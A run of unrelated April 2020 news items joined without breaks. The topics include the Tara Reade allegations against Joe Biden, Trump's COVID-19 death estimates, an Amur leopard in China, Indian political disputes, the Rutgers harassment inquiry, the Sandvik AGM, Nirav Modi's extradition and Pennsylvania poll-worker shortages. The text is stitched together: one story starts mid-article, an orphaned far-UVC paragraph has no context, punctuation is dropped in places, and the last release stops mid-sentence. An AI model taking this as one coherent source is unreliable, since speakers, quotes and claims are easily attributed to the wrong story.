Neither LaCasse nor Sanchez responded to messages left by The Washington Post on Monday. Reade made the harassment accusation last year, and she recently offered details of what she said was a sexual assault in a hallway somewhere on Capitol Hill. The allegations have percolated for weeks, a period in which Biden has become the presumptive Democratic presidential nominee. Three of Reade's supervisors from the time, to whom Reade says she complained about Biden's behavior, have said they don't remember Reade or any complaints from her. Biden's campaign declined to comment on the new reports, pointing to previous statements from deputy campaign manager Kate Bedingfield, who said that while women's accounts of wrongdoing should be examined, the one from Reade "absolutely did not happen." As part of an in-depth examination published two weeks ago, Reade had told The Post that she described the alleged assault soon afterward to a friend, to her brother and to her mother. Her friend corroborated Reade's account of their conversation but declined to be named. Her brother, Collin Moulton, told The Post that she told him in 1993 that Biden had behaved inappropriately by touching her neck and shoulders. He said in a later text message to The Post that he recalled her telling him that Biden had put his hand "under her clothes." Biden has participated in several interviews since the assault allegations emerged but has yet to be asked about them. It has, however, been a topic for other top Democrats, including some of his potential running mates. "I think this case has been investigated," Sen. Amy Klobuchar, D-Minn., said on MSNBC, pointing to her own work to make it easier to bring such cases forward. "I know the vice president as a major leader on domestic abuse, I worked with him on that." Michigan Gov. Gretchen Whitmer, a Democrat who has said she was sexually assaulted while in college, was asked on NPR whether she was concerned about the allegations. "Well, I think women should be able to tell their stories. I think that it is important that these allegations are vetted, from the media to beyond. And I think that, you know, it is something that no one takes lightly," Whitmer said. "But it is also something that is, you know, personal. And so it's hard to give you greater insight than that, not knowing more about the situation." Trump has been accused by more than a dozen women of sexual assault. He has denied all of the allegations. His son Donald Trump Jr. has repeatedly tweeted about the accusations against Biden in recent days. On Monday afternoon he retweeted the Business Insider story. Senate Majority Leader Mitch McConnell, R-Ky., on Monday said that the allegations against Biden deserve to be scrutinized as much as those against Supreme Court Justice Brett Kavanaugh, who during his confirmation hearings was accused of a past assault. "I think these things ought to be dealt with symmetrically," McConnell said on Fox News Radio. Reade worked in Biden's Senate office from December 1992 until August 1993, according to employment records. She had initially said last year that Biden had put his hands on her shoulders and neck. She said she complained to senior Biden aides about feeling uncomfortable, but not about sexual assault. She also said she filed a complaint with a congressional human resources or personnel office, which could have triggered an alert to Biden's office. The Post interviewed a number of former Biden staffers who say the behavior Reade describes was not consistent with Biden's behavior. Last spring, as Biden was preparing to run for president, about a half-dozen women came forward with stories of unwanted touching or displays of affection. None alleged sexual assault. LaCasse told Business Insider that Reade tearfully told her about the alleged encounter in 1995 or 1996, when they were neighbors in a condominium complex in Morro Bay, California. The Post confirmed that they were neighbors during that period. LaCasse said the allegations came on her radar again only recently, when Reade contacted her and remarked that "this Joe Biden thing is coming up again." She said she spoke with Reade about coming forward, "but she didn't really ask me to come forward." LaCasse also said she was planning to support Biden in the general election. "I can't stand Donald Trump, so I don't want him to win," she told Business Insider. "But this happened, and I know it did because I remember talking about it." - - - The Washington Post's Alice Crites and Sean Sullivan contributed to this report. (Newser) President Trump is projecting that coronavirus deaths in the United States could reach 70,000, higher than the 60,000 he has at times cited this month as the estimate of how many people would die from COVID-19. But he said original projections were much higher as he explained why voters should consider re-electing him in November, the AP reports. Trump was asked during a White House news conference on Monday whether an American president deserved to be re-elected after losing more Americans in six weeks than died in the Vietnam War. Approximately 58,000 US troops were killed during the Vietnam War; the number of dead in the US from COVID-19 has surpassed 56,000, according to a tally by Johns Hopkins University. story continues below Trump said the nation has lost a lot of people. But if you look at what original projections were2.2 millionwere probably heading to 60,000 to 70,000," he said. "Its far too many. One person is too many for this. And I think weve made a lot of really good decisions. The big decision was closing the border or doing the ban, people coming in from China." Trump was referring to a pandemic forecast from the Imperial College London that predicted 1.5 million to 2.2 million deaths in the United States in a worst-case scenario, without efforts to slow the spread of the coronavirus through social distancing. Politico notes Trump's 60,000 figure came from a different model, this one from the University of Washington. (Read more coronavirus stories.) Source: Xinhua| 2020-04-28 16:03:49|Editor: huaxia Video Player Close CHANGCHUN, April 28 (Xinhua) -- An Amur leopard was recently captured on camera in northeast China's Jilin Province, according to the Northeast Tiger and Leopard National Park Administration. The leopard is an adult male, according to Feng Limin, a leopard expert. He added that it is the third time videos of Amur leopards have been taken in Tianqiaoling forests, indicating that their population is steadily expanding. The Amur or Far Eastern leopards are one of the most endangered felines in the world and have been listed as critically endangered by the International Union for Conservation of Nature. There are less than 100 Amur leopards living in the wild, mostly in Russia's Far East and northeast China. China has been making great efforts to conserve wildlife over the past decades. In a 2016 plan, an area of 1.46 million hectares of land was designated in northeastern China to protect wild Siberian tigers and leopards. Enditem Metro Manila (CNN Philippines, April 28) San Miguel Corporation said it is donating five sets of testing machines to the government in hopes that they would significantly increase the country's COVID-19 testing capacity. The business conglomerate claimed that with its donation of Reverse transcription polymerase chain reaction machines and automated RNA extraction systems, the government will be able to conduct 11,000 more tests per day. The country's accredited laboratories currently do 4,500 tests daily. "SMCs donation is seen to help significantly boost government capacity to determine extent, and contain transmission, of the virus before quarantine is lifted on May 15," said SMC in a statement. One set has two RT-PCR equipment the gold standard for detecting coronavirus and one automated RNA machine, SMC said. The Research Institute for Tropical Medicine in Muntinlupa will receive two sets while the rest will be sent to San Lazaro Hospital in Manila, Vicente Sotto Medical Center in Cebu and Southern Philippines Medical Center in Davao. The company is also giving test kits which can be used to administer 20,000 tests. This recent effort by SMC comes on top of its 1.147-billion worth of food, ethyl alcohol, fuel, protective gear and free toll donation to residents affected by the COVID-19 pandemic. Akhilesh did not challenge the nation-level decision to impose a lockdown to contain the spread of coronavirus, but added that the government should keep in mind the economic impact of prolonged restrictions. Lucknow: Samajwadi Party chief Akhilesh Yadav on Tuesday accused the BJP of creating hatred against Muslims over the coronavirus crisis, saying the ruling party members are following their "basic training". In an interview with PTI, he charged the Bharatiya Janata Party of spreading false reports of Muslims in quarantine centres demanding 'biryani'. Yadav also questioned the handling of the crisis by the Yogi Adityanath government in Uttar Pradesh. "The CM is ignoring public representatives and officers are ruling the roost," he said, suggesting that the state's ministers should be more involved. The SP leader did not challenge the nation-level decision to impose a lockdown to contain the spread of coronavirus, but added that the government should keep in mind the economic impact of prolonged restrictions. "It is the basic training of the BJP to create hatred against Muslims. And they are doing just that. It will not end. The reports that they are demanding non-veg food and biryani in quarantine homes are being spread by them. They have succeeded in creating hatred in the society," said Yadav. The SP president was responding to a question if he saw any bias against the particular community in BJP governments' action in handling of the Covid-19 pandemic. Attacking the Yogi Adityanath government, he said the chief minister is busy meeting with his Team-11 (group of 11 officers) and not eliciting views of the MPs, MLAs and ministers. "The CM is playing a game and not serious in dealing with the crisis. In the past over three years of his rule, he failed to create any infrastructure in the state and has only been utilising the facilities developed during the previous SP regime. He must be realising that," he said. Stating that a "frustration is growing among the BJP legislators", Akhilesh said, "The CM is ignoring public representatives and officers are ruling the roost. They should have been involved in their respective areas to see the loopholes and keep an eye on wrongs done by officers." "Where are the ministers? They were made in-charge of districts. Who is stopping them from coming out and why? The CM is acting only on directions of officers and playing a 20-30 day match," Yadav said. About his views on extending the lockdown, he said, "Is there any other way out? Lockdown, increasing tests and staying at home are the only things that can be done. In areas, where there are hotspots, there is no option except to continue lockdown." "If the government opens the lockdown and situation deteriorates and they have to re-impose it, what will happen then? This should also be considered. The coronavirus is spreading among police force and nurses. All their contacts need to be traced," he said, adding that help should be taken from everyone. Talking about the economic aspect of the crisis, Yadav said, "All business activities have stopped. Prolonged lockdown will make the situation worse. The government should keep it in mind and formulate policy accordingly." Alleging that the BJP government is creating a fear of "sending people to jail" if they do not report symptoms of the infection, the former chief minster said the government should try to "create confidence" instead among the people and take their help by making them "aware". "They should be given assurance that they will not be sent to jail. They should not be threatened but be tested wherever there is doubt and provide facilities to the poor," he added. The SP president's latest barb against the Adityanath government came days after he attacked the chief minister for his "Agra model" of combating the deadly virus, saying, according to Mayor Naveen Jain, it has failed. "According to the mayor, the much-touted Agra model of chief minister has failed and will make Agra (in UP), a Wuhan ( of China). No testing, no medicines and private hospitals for other diseases, no life saving kits and now mismanagement of quarantine centres is proving deadly. Wake up government," Yadav had said in a tweet in Hindi. Last Tuesday, Yadav had asked the Uttar Pradesh government to provide food to children who were getting it under the mid-day meal scheme in schools and offered the services of his party's organisation for its distribution through bicycles of his workers. "The government should immediately make arrangements for delivering food under the mid-day meal scheme to children at their home. If by rising above politics, the government takes any decision, the SP organisation and workers spread in villages can do this distribution on their cycles. We are ready," the former chief minister said. In another tweet, he had aksed the government to clarify how much food-material was in store. "The government should clarify, how much food material was in store and for how many days so that the people avoid hoarding," he said. The Samajwadi Party supremo also asked the Uttar Pradesh government to identify people, who are dying on way to their home and give Rs 25 lakh to their families. "Those who died on way to their homes should be identified and their bodies should be sent to their native places. Families of such persons should also be given Rs 25 lakh," Akhilesh said. He also appealed to party workers to continue tradition of 'samajwadis' and help the poor and needy as much as they can and provide them food, medicine, treatment and make arrangements for them for taking rest. New Delhi, April 28 : Post-lockdown, the employees of defence public sector undertakings (PSUs) have decided to carry out work in three shifts and extend the workdays from five to six days a week, the Ministry of Defence said on Tuesday. "Almost all defence PSUs have made contingency plans to ramp up production after the lockdown is lifted by drawing up plans to work in three shifts and extending the work days from five to six days a week," the ministry said. It was also stated that several units of Ordinance Factory Boards and defence PSUs which are located in non-red zones have already started operations. The revelation came during a review meeting carried out by Defence Minister Rajnath Singh on Tuesday through video conference about contribution of defence PSUs and Ordinance Factory Board to fight COVID and their operational plans. "Work will be carried out by observing social distancing and other relevant health guidelines," the PSUs said. Singh appreciated the innovative skills displayed by the PSUs in devising manufacture of new products to fight COVID-19 and also their assistance rendered to the local administration in several forms. The minister had directed them to prepare contingency plans for resumption of operations after the lifting of lockdown to compensate for the lost working time to the extent possible and ramp up production. Referring to Prime Minister Narendra Modi's plans to revive the economy post-lockdown, Singh said defence PSUs along with private defence industry could play a major role in the economic revival. He also appreciated the monetary contribution of about Rs 77 crore made by the Department of Defence Production (DDP), Ministry if Defence (MoD), OFB and defence PSUs to the PM-CARES Fund, generated from Corporate Social Responsibility (CSR) funds and one-day salary contribution. During the meeting, Ordinance Factory Board stated that there was no COVID positive case in any of its 41 manufacturing locations. "OFB's contribution in fighting COVID included repair of more than 100 ventilators, manufacture 12,800 coveralls, development of specialised machines for testing of PPEs, supply of 6.35 lakh masks to local authorities, supply of 340 specialised tents to Arunachal Pradesh for COVID-19 patients, distribution of 1 lakh litres of hand sanitiser," the ministry said. OFB has earmarked 280 isolation beds at its hospitals in 10 locations. In addition, Hindustan Aeronautics Limited (HAL) has also earmarked 93 isolation beds in Bengaluru for COVID patients. Bharat Electronics Ltd (BEL) has made arrangements to manufacture 12,000 ventilators in the month of May 2020 and another 18,000 in June 2020. Around 3,000 engineers will also participate in training of the health professionals in operationalising these ventilators. HAL stated that they have manufactured 300 aerosol cabinets and supplied them to various hospitals. "It has also distributed 56,000 masks and extended support to migrant labourers. No positive COVID-19 case has been recorded among HAL employees," the ministry said. Bharat Dynamics Ltd (BDL) is also working with eminent scientists for finalisation of design for ventilators and to make the prototype. Mazagon Dock Shipbuilders Limited (MDL) provided PPE and medicines worth Rs five lakh to Naval Quarantine Centre, Mumbai and distributed 4,000 litres of sanitiser. But Brenner said far-UVC light is different. It is generated at the far end of the ultraviolet spectrum and is not in any way penetrating. It barrels right through air or droplets containing viruses, but is quickly absorbed and stopped by the protein in dead skin cells or in the layer of tears on the surface of the eyes, Brenner said. Rutgers University has concluded its investigation into sexual harassment allegations made against one of its most prominent political science professors after campus officials interviewed 15 witnesses and found no proof he violated any school policies. Stephen Eric Bronner, who retired last year after the allegations were made, said the university sent him a March 25 letter saying both the investigation and an appeal had concluded after nearly 18 months. Kristy King, a former Rutgers graduate student now working as an Arizona State University professor, had accused Bronner of running his hand up her inner thigh on her first day of school nearly 20 years ago. A second student told NJ Advance Media Bronner touched her inappropriately in a campus bar in 2008. The investigator interviewed 15 witnesses, and contacted without success at least six other potential witnesses, pursuant to the remand issued in this matter," according a partial copy of the letter from Rutgers officials provided by Bronner. The evidence adduced pursuant to the investigation could not lead to a conclusion that the respondent violated the policy, harassed students or engaged in violation of the policy such that students were put at risk." The letter from Harry Agnostak, a Rutgers associate vice president for labor and employee relations, said the investigation, which concluded last August, led to an appeal, which was denied in March. Bronner, 70, said he always maintained he did nothing wrong and he believes the investigation exonerated him after he was treated unfairly. The resulting poisonous atmosphere simply ignored the basic idea that a person is innocent until proven guilty, Bronner said in a two-page statement. Two official investigations were undertaken by three neutral investigators: they decided that I did not violate any policy. If their decisions are cynically dismissed, and the need for evidence is deemed irrelevant, then no counter-argument is possible. University officials declined to comment on the case. We dont comment on the outcomes of personnel investigations, said Dory Devlin, a Rutgers spokeswoman. Neither the university, Bronner nor King, the alleged victim, agreed to provide a full copy of the investigators report. To be clear, Dr. Bronner was not exonerated. Rutgers investigative process was not a criminal prosecution but a closed-door investigation that occurred in fits and starts, said a statement from attorney at Konidaris Law and the Gender Equality Law Center, who are representing King. Several key witnesses refused to speak to Rutgers investigators, which skewed the investigation, the attorneys said. We can only speculate as to why they did not wish to participate in this investigation, but sometimes the simplest explanation is the correct one: the persistent fear of retaliation, particularly in academia, Kings attorneys said. We are disappointed not simply by the outcome of the investigation but also by the way in which it was conducted. As Rutgers moves into a new era combating gender-based violence and misconduct on campus, we urge the university to continue to scrutinize the quality and integrity of its investigations. Kings allegations against Bronner were first reported in an October 2018 investigation by NJ Advance Media detailing how Rutgers University was refusing to investigate some sexual harassment complaints against professors. At the time, complaints involving incidents more than two years old were not being investigated due to a Rutgers policy that put a statute of limitations on any sexual harassment allegations. Rutgers dropped the policy within hours of the publication of the NJ Advance Media story. The two-year rule is inconsistent with both our practices and our values, Rutgers President Robert Barchi said at the time. Rutgers quickly opened investigations into several sexual harassment cases dating back more than two years, including Kings allegations against Bronner. Bronner, a nationally-known political theorist who worked with generations of graduate students at Rutgers, said he cooperated with the investigation and provided letters of support from his former students, both male and female, dating back to the 1980s. He was on a sabbatical when Kings allegations were made public in 2018 and did not return to teaching in 2019 after the investigation began. Bronner announced his retirement in November 2019 after 43 years at Rutgers. Debilitating conflicts have soured the atmosphere, the professional and pedagogic culture is changing, new students who share my interests are not being admitted, and I have no graduate classes to teach, Bronner wrote on his Facebook page. Bronner said he has been devoting his time to promoting the International Council for Diplomacy and Dialogue, a Paris-based conflict resolution group where he is co-director. Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. Kelly Heyboer may be reached at kheyboer@njadvancemedia.com. Susan K. Livio may be reached at slivio@njadvancemedia.com. YEREVAN. About a dozen citizens are protesting in front of the building of the government of Armenia, demanding to turn the natural gas and electricity back on in their homes. Before the start of this protest, the police asked these people to isolate and not to violate the decision of the commandant of the current state of emergency in the country due to the COVID-19 situation. "Try to voice your issue in another way," the police said. A citizen responded that he had tried to voice the issue in another way, but nothing happened. "The [natural] gas and the lights are off in my house," said one of the protesters. "Perhaps seeing this protest, the commandant will make exceptions." The police inspected the movement authorization documents of the protesters, and said that the location of movement was violated and registered an administrative violation. SANDVIKEN, Sweden, April 28, 2020 /PRNewswire/ -- Sandvik AB held its Annual General Meeting on 28 April 2020 in Sandviken, Sweden. No speeches were held during the meeting, however Sandvik's President and CEO Stefan Widing has prerecorded an address to the shareholders which is now published on Sandvik's website. The speech covers the operations and results for 2019, as well as the near time challenges that arise from the corona-pandemic. "We're well-positioned and we have great customer offerings. We'll be going through a tough period just like many other companies around the world. But thanks to our strong organization, our culture, our excellence, and our close relationships with our customers, we'll remain resilient," says Stefan Widing. Sandvik's Chairman of the Board Johan Molin states in an article on the company's website that the Board is grateful for the very professional work performance by Sandvik's employees which led to the positive result for 2019. Adoption of the profit and loss accounts and balance sheets The General Meeting adopted the profit and loss account and balance sheet for the parent company as well as the consolidated profit and loss account and consolidated balance sheet for 2019. The Board members and the President were discharged from liability for the financial year 2019. Dividend The General Meeting resolved that no dividend be paid for the financial year 2019. Board of Directors Pursuant to the Nomination Committee's proposal Stefan Widing and Kai Warn were elected new members of the Board and Jennifer Allerton, Claes Boustedt, Marika Fredriksson, Johan Karlstrom, Johan Molin and Helena Stjernholm were re-elected members of the Board. Johan Molin was re-elected Chairman of the Board. Lars Westerberg resigned from the Board through the General Meeting's decision and he will be acknowledged at a later point. The employee unions have appointed Tomas Karnstrom and Thomas Lilja as members of the Board and Thomas Andersson and Mats W Lundberg as deputy members. Fees to the Board The General Meeting resolved pursuant to the Nomination Committee's proposal on unchanged fees to the Board, distributed as follows: SEK 2,550,000 to the Chairman of the Board, SEK 690,000 to each other Board member not employed by the company, SEK 300,000 to the Chairman of the Audit Committee, SEK 170,000 to each other member of the Audit Committee, SEK 145,000 to the Chairman of the Remuneration Committee and SEK 115,000 to each other member of the Remuneration Committee. No fee is to be paid to the members of the Acquisitions and Divestitures Committee. Auditor The General Meeting resolved to re-elect PricewaterhouseCoopers AB as auditor for the period until the end of the 2021 Annual General Meeting. Instruction for the Nomination Committee The General Meeting resolved pursuant to the Nomination Committee's proposal to adopt a revised instruction for the appointment and assignment of the Nomination Committee. Resolution on guidelines for remuneration of senior executives The General Meeting resolved to adopt the Board's proposal regarding revised guidelines for remuneration of senior executives. Resolution on a long-term incentive program (LTI 2020) The General Meeting approved the Board's proposal on a long-term incentive program in the form of a performance share program for about 350 senior executives and key employees in the Group (LTI 2020). Participation requires that an investment in Sandvik shares be made. Each acquired Sandvik share entitles the participant to be allotted, after a period of three years, a certain number of Sandvik shares free of charge, provided that certain performance targets with respect to earnings per share are met. The program is based on substantially the same terms and conditions as the 2014-2019 incentive programs. LTI 2020 comprises up to 2.5 million shares. The delivery of these shares will be secured through a share swap agreement with a third party. The total cost of LTI 2020 is estimated at up to SEK 210 million, assuming a Sandvik share price of SEK 130. Authorization on acquisition of the company's own shares The General Meeting resolved to authorize the Board of Directors to, for the period until the 2021 Annual General Meeting, resolve on acquisitions of the company's own shares, however no more than 10 per cent of the total number of shares in the company. Wilhelm Haglund Medal Dirk Stiens at Walter (Sandvik Machining Solutions) was named product developer of the year and awarded the Wilhelm Haglund Medal for the development of a new method, called ultra-low-pressure chemical vapor deposition, for applying coatings. The method has enabled a new generation of coated cutting grades - Tiger-tec Gold. Sandvik Sustainability Award Daniel Burton, Marcus Andersson and Ole Stadum at Kanthal (Sandvik Materials Technology) won the "The Sandvik Sustainability Award in Memory of Sigrid Goransson" for a service solution that helps customers reduce their CO 2 emission by converting fossil gas furnaces to electrical furnaces. Stockholm, 28 April 2020 Sandvik AB Contact: Sandvik World Trade Center, Kungsbron 1 (section G, 6th floor), 111 22 Stockholm, Sweden +46-8-456-11-00 http://home.sandvik [email protected] Martin Blomgren Press and Media Relations Manager World Trade Center, Kungsbron 1 (section G, 6th floor), 111 22 Stockholm, Sweden +46-70-577-05-49 [email protected] This information was brought to you by Cision http://news.cision.com https://news.cision.com/sandvik/r/sandvik-s-annual-general-meeting-2020,c3099533 The following files are available for download: https://mb.cision.com/Main/208/3099533/1238222.pdf Sandvikas Annual General Meeting 2020 SOURCE Sandvik Union Minister Arjun Ram Meghwal on Tuesday accused the Rajasthan government of discriminating against Dalits and tribal people by appeasing one community. He said reports of discrimination in distribution of ration from many areas raise doubts on the government's intention. "The state government is not only discriminating but also filing cases against BJP's public representatives and activists who exposed it,"Meghwal told reporters through video conferencing. The minister, who hails from Rajasthan, said 100 nursing workers collectively resigned in Jhalawar, which shows the "flaws" in the policies of the state government and alleged it is not taking care of health workers at a time when the services should be doing better. Meghwal said the Narendra Modi-led government will "turn the coronavirus crisis into an opportunity for employment". The government will create new employment opportunities through schemes such as 'Make in India' and 'Skill India', he said, adding the Centre has made available wheat to the state in sufficient quantity and more will be given, if required. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) U.S. acknowledges 2 civilian deaths in 2019 Somalia strike: The United States said it killed two civilians and injured three in an airstrike in Somalia last year, a rare acknowledgment of civilian casualties from U.S. Africa Command's military operations there. The deaths were mentioned in a debut quarterly assessment report by Africom on claims of civilian casualties in its operations against Islamist militants in African countries. The United States has been conducting airstrikes in Somalia for years to help defeat al-Shabab, an Islamist group that seeks to topple the Western-backed government. Fugitive diamond merchant Nirav Modi, fighting extradition to India on charges over the nearly USD 2 billion Punjab National Bank (PNB) fraud and money laundering case, was on Tuesday remanded in custody until May 11, when his five-day trial will take place in a part-remote setting. The 49-year-old, who has been lodged at Wandsworth Prison in south-west London since his arrest last year, appeared before a UK court via videolink. He spoke only to confirm his name and date of birth during the hearing, which took place at Westminster Magistrates' Court in London via tele-conference due to the COVID-19 related social distancing procedures in place across UK courts. District Judge Samuel Goozee, who presided over the case management hearing, expressed some reservations about the extradition hearing going ahead next month as scheduled under the current lockdown. But it was agreed between all parties that a trial run of the court's CVP, or common viewing platform, will take place during a lawyers-only hearing on May 7 ahead of the final hearing. "Some prisons are producing prisoners in person, so I will direct Wandsworth Prison to produce Mr Modi in person for the trial from May 11. If that is not practicable, his participation by live link remains a backstop, Judge Goozee concluded. It was agreed that a limited number of legal representatives will be present physically in court for the trial as witnesses give their evidence via videolink. Modi will be able to observe the proceedings either from the dock, if the prison authorities agree to a physical transfer, or via the judiciary's common viewing system from Wandsworth Prison. The five-day hearing from May 11 relates to the Indian government's extradition request certified by the UK government last year. The case has been filed by the Central Bureau of Investigation (CBI) and the Enforcement Directorate (ED) and relates to a large-scale fraud upon an Indian PSU through the fraudulent obtaining of letters of understanding (LoUs) and the laundering of the proceeds of that fraud. Two additional charges of "causing the disappearance of evidence" and intimidating witnesses or criminal intimidation to cause death were added on by the CBI and certified earlier this year. The May 11 extradition hearing is going ahead and the new request (two additional offences part of the CBI case) has not been joined but will be dealt with at a separate later hearing, probably in July, said the Crown Prosecution Service (CPS), appearing on behalf of the Indian authorities. CPS barrister Nick Hearn indicated that the government of India's representatives would be following the proceedings and giving instructions via the court's online common viewing platform, given the coronavirus related travel restrictions. We have received comprehensive responses in writing from the government of India, which would reduce the likely length of cross-examinations, said Hearn. It was also confirmed that the diamond merchant would not be giving evidence in the case, but his legal team plans to produce around six witnesses, including a jewellery expert as well as judicial and prisons experts. We are very anxious to hold the hearing if we can, if Mr Modi's participation and that of the witnesses seems feasible, said Modi's barrister Clare Montgomery, during the tele-conference hearing on Tuesday. Judge Goozee has set May 4 as the deadline for the skeleton arguments, draft charges and any further evidence to be presented in the case. In reference to the wealth of documentary evidence relied on in the case, he has sought an agreed pre-trial reading list by the end of this week. Most of the legal cases in the UK have incorporated videolink and telephonic options where possible, with all new jury trials suspended amid the social distancing rules in place to combat the coronavirus pandemic. Modi, whose Wandsworth prison is considered one of the most over-crowded in England, had made a fifth attempt at bail in the High Court last month, which was rejected as the judge ruled that he continued to pose a flight risk. He was arrested on March 19, 2019, on an extradition warrant executed by Scotland Yard on charges of fraud and money laundering brought by the Indian government. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Elections officials across the state are bracing for a walk-out of sorts. Not technically a walk-out but a no-show. With the current coronavirus pandemic still ratcheting up the count of positive cases and deaths across Pennsylvania, election officials are worried that poll workers are thinking twice about working on June 2, the newly designated primary date. The prospect is pushing up against the idea of further consolidating polling places. The underlying reason: Poll workers tend to be older individuals - typically retired - and as such, they belong to one of the most COVID-19 vulnerable demographics. Election officials are concerned that with the lethal virus still a threat, poll workers will decide to stay home on election day rather than risk exposure to the deadly virus. Im in touch with inspectors and judges to see what their comfort level is and I can tell you right now today Im going to be missing 30 percent of poll workers, said Jerry Feaser, director of the Dauphin County Office of Elections and Voter Registration. That varies from poll workers not willing to serve given the conditions to precincts where maybe a handful of poll workers would be missing. Elections clerks and machine operators are appointed and paid by the county. Judges and inspectors are elected. Gov. Tom Wolf in March signed legislation to move the primary, originally scheduled to be held Tuesday, to June 2. The new law allows counties to consolidate up to 60 percent of polling places. Under the new law, county election officials must consolidate polling places no later than 20 days prior to the primary election. The practical application of that directive is engendering different options - if not opinions across the state. Densely populated counties such as Allegheny, for instance, which has about 1,300 polling places, are pushing to reduce the number of polling places to fewer than 200. But even smaller county electorates are weighing the realities brought on by a coronavirus weary public. Already across Pennsylvania, poll workers have called off ahead of the primary, expressing to country officials fears that they will be exposed to the virus while working with the public. Im 69 and I have a lot of friends working the polls, many great people, very dedicated. They take their job seriously, said Doug Hoke, a York County Commissioner. But this is a very unusual time and its a threatening virus. I dont want to see us get to the last minute and find out that we are in this situation. Hoke said he is encouraging voters to use the no-excuse mail-in ballot, but thinks that further reduction of polling places may be necessary. We have 161 polling places and we already have some difficulty maintaining them with ADA (the Americans with Disabilities Act), he said. Some are very, very small organizations with 500 voters. Combining some of them for a very convenient place to poll probably makes a lot of sense under this circumstance. Feaser said Dauphin County managed to hold 19 training sessions for poll workers just in time before the ban on large group gatherings went into effect under the emergency pandemic restrictions. With approximately 159,000 voters eligible to vote in the primary, Feaser said Dauphin County may not have an option but to further consolidate polling places We would have to, he said. A couple of boards are raring to go but those are few and far in between. Feaser expects his poll capacity to be down 30 percent if things don't improve. Elections officials are having to work around restrictions on large public venues that have historically served as polling places, including schools, libraries and municipal buildings. Feaser said he is looking to identify alternate locations for six precincts, while an additional 16 are in the wait and see mode as far as their readiness for primary day. Come May 1, we may have a little gap to fill or a whole lot, he said. The whole state of affairs has fueled concerns about the primary and its integrity. Chief among those concerns is voter disenfranchisement. We know that counties are trying to balance the logistical restrictions of running an election during a pandemic with the need to ensure voting is accessible, said Suzanne Almeida, Redistricting and Representation Counsel for Common Cause, a progressive organization. The most important thing is that voters arent disenfranchised. Almeida said that means that counties need to be careful when consolidating polling places to use places that are accessible, within a reasonable distance from the old polling place, and easily reachable by public transportation. Counties also must provide clear information to voters about where their polling place will be, including signage, information on a website, and possibly mailing information to every affected voter, she said. Indeed, that is included in the letter of the law. Under the new law, two or more precincts may locate their polling place within the same building, but there must be a clear delineation of each precinct. These emergency guidelines are set to expire after the primary election and normal procedures to resume for the upcoming general election in November. Still, Rogette Harris, chairwoman of the Dauphin County Democrats, and the only African American to hold such a post in Pennsylvania, remains concerned that further consolidation would have adverse impacts on communities of color. My biggest concern is that there is enough time to alert people of the changes, she said. Youll have some people who go to the old poll and they might not take the time to find the new polling place. Its about communication. Its messaging. She also has concerns about transportation - meaning voters who live in low-income areas being unable to get to new polling places. We want to make sure we dont disenfranchise any communities, Harris said. I m hoping that as these decisions are made, that all communities are included in the discussion. My concern is that we make sure all voices are included and that decisions are not made based on the voices of a few. More from PennLive Unresponsive, unreachable unemployment office infuriates Pennsylvania residents Most central Pa. counties not ready for yellow stage of coronavirus reopening, based on announced formula Despite shutdown of Pa., most voters support Gov. Tom Wolfs handling of coronavirus crisis Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. This report was updated to clarify that clerks and machine operators are paid by the county. Toronto, Ontario--(Newsfile Corp. - April 27, 2020) - RISE Life Science Corp. (CSE: RLSC) ("RISE" or "Company") announces that it will not be in a position to file its interim financial statements for the fiscal quarter ended February 29, 2020 and the related management's discussion and analysis, as required by Part 4 and Part 5 of National Instrument 51-102: Continuous Disclosure Obligations (collectively, the "Q1 Filings") by the filing deadline of April 29, 2020. This news release is being issued in accordance with the blanket relief of a 45-day extension, provided by Canadian Securities Administrators and Ontario Instrument 51-502: Temporary Exemption from Certain Corporate Finance Requirements, for periodic filings normally required to be made by issuers during the period from March 23, 2020 to June 1, 2020. As a result of recent proclamations from Canadian health authorities and the challenges resulting from the COVID-19 pandemic, the Company's staff has been working remotely and the coordination of tasks and work product has been more difficult. This has resulted in a delay in the finalization and filing of the Q1 Filings. However, the Company is working expeditiously to meet the Company's obligations relating to the filing of the Q1 Filings. At this time, the Company anticipates being able to complete the Q1 Filings on or before May 27, 2020. The Company confirms that its management and other insiders are subject to an insider trading black-out policy that reflects the principles in section 9 of National Policy 11-207: Failure-to-File Cease Trade Orders and Revocations in Multiple Jurisdictions, such that they are in a black-out period until the end of the second trading day after the Q1 Filings have been filed. Since the date of the Company's last financial report on April 6, 2020, the Company has previously announced on April 13, 2020 and April 21, 2020 that it has entered into a binding letter agreement with HydRx Farms Ltd. o/a Scientus Pharma ("Scientus") to complete a business combination of RISE and Scientus (the "Transaction"). If completed, the Transaction will constitute a "fundamental change" of RISE pursuant to the policies of the Canadian Securities Exchange (the "CSE"). The completion of the Transaction is subject to a number of conditions, including but not limited to: approval of the transaction by the shareholders of RISE and Scientus; approval of the Transaction by the CSE; successful completion by RISE of a minimum $5 million private placement financing; conversion of all currently outstanding RISE debentures totaling C$5.365 million into common shares of RISE at a conversion price of C$0.075 per share (and conversion of outstanding interest thereon to April 30, 2020 at a conversion price of C$0.05 per share); and assignment or retirement of the current outstanding debenture held in Scientus. As a condition to the Transaction, RISE intends to complete a brokered private placement (the "Private Placement"), led by Canaccord Genuity Corp., of subscription receipts for targeted gross proceeds of up to C$10,000,000 that will be automatically exercised into convertible debenture units of RISE (at which time the net proceeds of the private placement are released to the Company) upon the satisfaction of escrow release conditions. Each RISE convertible debenture unit is comprised of one C$1,000 principal amount unsecured convertible debenture and 20,000 common share purchase warrants. The new RISE convertible debentures will be convertible into common shares of RISE, at the sole discretion of the holder, at a conversion price of C$0.05 per common share, at any time for a period of 36 months from the satisfaction of escrow conditions. The convertible debentures will bear 12% interest per annum payable semi-annually, 6% paid in cash and 6% paid in RISE common shares based on the market price of the common shares at the time of payment and in accordance with CSE regulations. Each warrant exercises into one common share at an exercise price of C$0.07 for 24 months from satisfaction of the escrow release conditions. Further details about the Transaction and the resulting issuer will be provided in a comprehensive news release when the parties enter into a definitive transaction agreement. Trading of shares in RISE shall continue to be halted at the request of the Company. Further details of the proposed Transaction and Private Placement are set out in the Company's April 21, 2020 press release and material change report previously issued and filed on www.SEDAR.com. Cautionary Statement Regarding Forward-Looking Information The Canadian Securities Exchange has not reviewed this news release and does not accept responsibility for the adequacy or accuracy of this news release. Statements in this news release that are forward-looking statements are subject to various risks and uncertainties concerning the specific factors 